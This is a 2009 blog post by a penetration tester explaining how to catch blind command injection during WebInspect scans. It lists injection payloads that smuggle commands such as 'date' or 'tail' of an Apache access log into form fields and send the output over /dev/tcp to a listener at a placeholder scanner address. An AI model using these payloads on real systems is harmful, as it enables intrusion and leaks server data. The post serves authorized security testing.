Welcome to In Depth Defense. In Depth Defense LLC is a privately owned Information Security Consulting company owned and operated by Mark Baggett. In Depth Defense specializes in Penetration Testing and Incident Response. At this time In Depth Defense is not accepting any new client work, but we are happy to speak to you and point you to other resources in the community.

Mark Baggett has been active in Information Security for 18+ years. I've served in a variety of roles from software developer to CISO. You can find archives of older blog entries below and read my newer posts on http://www.pauldotcom.com, http://isc.sans.edu and http://pen-testing.sans.org








Monday, January 26, 2009

WebInspect and Arbitrary Command Execution

I won't be the first to say it, but its worth repeating; No scanner is a substitute for a human penetration test. That said, I find that WebInspect saves me a lot of time and often either finds vulnerabilities for me OR, just as often, generates error messages that lead me to finding issues pretty quickly.   I like to think of it as a web app fuzzer on steroids.  Here is a custom signature I've added to help me cover my bases.

When WebInspect scans for arbitrary command execution, it will only detect the flaw when the results of the command execution are returned to the browser. For example, it will inject "; id" into all the field on a page. If it doesn't see "uid=0(root) " (or preferrably the uid for an a less priveleged apache httpd user) returned from the web server somewhere in that response then it doesn't detect the vulnerability. But the web server very well may have executed code invisibly. Consider this example:

A website has a function to submit comments to the website administrator.   The comment form takes a field of user input and makes it the subject line of an email to the website administrator. The back end system passes the user input as the -s parameter to /usr/bin/mail sending an email to the admin. If the back end fails to properly sanitize input then WebInspect would successfully inject " /usr/bin/mail -f subject; id" but the results of id would not be returned in the browser and thus go undetected.

Here is something that can make detecting these issues a little easier. Use the "POLICY MANAGER" to add a "CUSTOM CHECK" that does "PARAMETER INJECTION". Have your new custom check send the following command.

";date > /dev/tcp/[your scanner ip address]/80"

As you run your scan have a netcat listener with -L (capital L) running to catch the results as follows:

nc -L -p 80

It will still require some work to figure out exactly which parameter was vulnerable to the attack, but the time displayed in your netcat listener will help to narrow your search.

In addition to injecting a semicolin you will probably want to create all of these signatures as well..

"date > /dev/tcp/[your scanner ip address]/80"
"&date > /dev/tcp/[your scanner ip address]/80"
"`date > /dev/tcp/[your scanner ip address]/80"
"```date > /dev/tcp/[your scanner ip address]/80"
"\ndate > /dev/tcp/[your scanner ip address]/80"
and various combinations of those attacks:
"|&;"date > /dev/tcp/[your scanner ip address]/80"

If "date" doesn't narrow it down for you enough you might try this..
"tail /var/log/apache/access.log > /dev/tcp/[your scanner ip address]/80"

No comments:

Subscribe